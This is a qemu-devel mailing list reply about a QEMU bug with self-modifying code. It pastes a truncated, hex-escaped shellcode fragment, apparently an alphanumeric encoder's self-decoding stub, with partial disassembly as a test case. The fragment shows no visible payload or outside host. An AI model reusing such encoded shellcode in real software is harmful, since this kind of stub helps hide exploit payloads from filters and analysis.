Re: [Qemu-devel] Question regarding self-modifying code.

I can only provide this shellcode right here.

\x89\xe1\xd9\xcd\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49" \

"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58" \

"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" \

"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x51\x51\x51\x52" \

"\x47\x33\x47\x34\x51\x55\x51\x56\x50\x47\x47\x38\x47\x39\x50\x4a" \

"\x50\x4b\x50\x4c\x50\x4d\x50\x4e\x50\x4f\x50\x50\x50\x31\x47\x42" \

"\x47\x42\x50\x34\x50\x5a\x50\x45\x51\x52\x46\x32\x47\x31\x50\x4d" \

"\x51\x51\x50\x4e\x41\x41

This code runs normally in a debugger when executed on a real CPU.

Here is the disassembly of the relevant parts.

mov ecx,esp

fxch st5

fnstenv dword ptr ds:[ecx-C]

pop ebp

push ebp

pop ecx

dec ecx

inc ebx

aaa

push ecx

pop edx

push 41

pop eax

push eax

xor byte ptr ds:[ecx+30],al

inc ecx

imul eax,dword ptr ds:[ecx+41],51 <-- should multiply with 0x10, not 0x51.

The code is position independent.

On 14 January 2016 at 16:36, Peter Maydell <address@hidden> wrote:

On 14 January 2016 at 14:29, farmdve <address@hidden> wrote:
> Again, sorry for the personal message, Peter, Google really is failing here,
> more so than me.

There's a "Default reply behaviour" setting in Settings->General
in gmail that you can use to make it default to reply-to-all
rather than just reply if you prefer that.

> But in my case, an instruction did forward modify some code, but
> this if statement did not execute and QEMU executed the old code.

Can't really diagnose this without a test case. But the
if condition is pretty trivial and very unlikely to be wrong.

thanks
-- PMM

From:	farmdve
Subject:	Re: [Qemu-devel] Question regarding self-modifying code.
Date:	Thu, 14 Jan 2016 17:12:41 +0200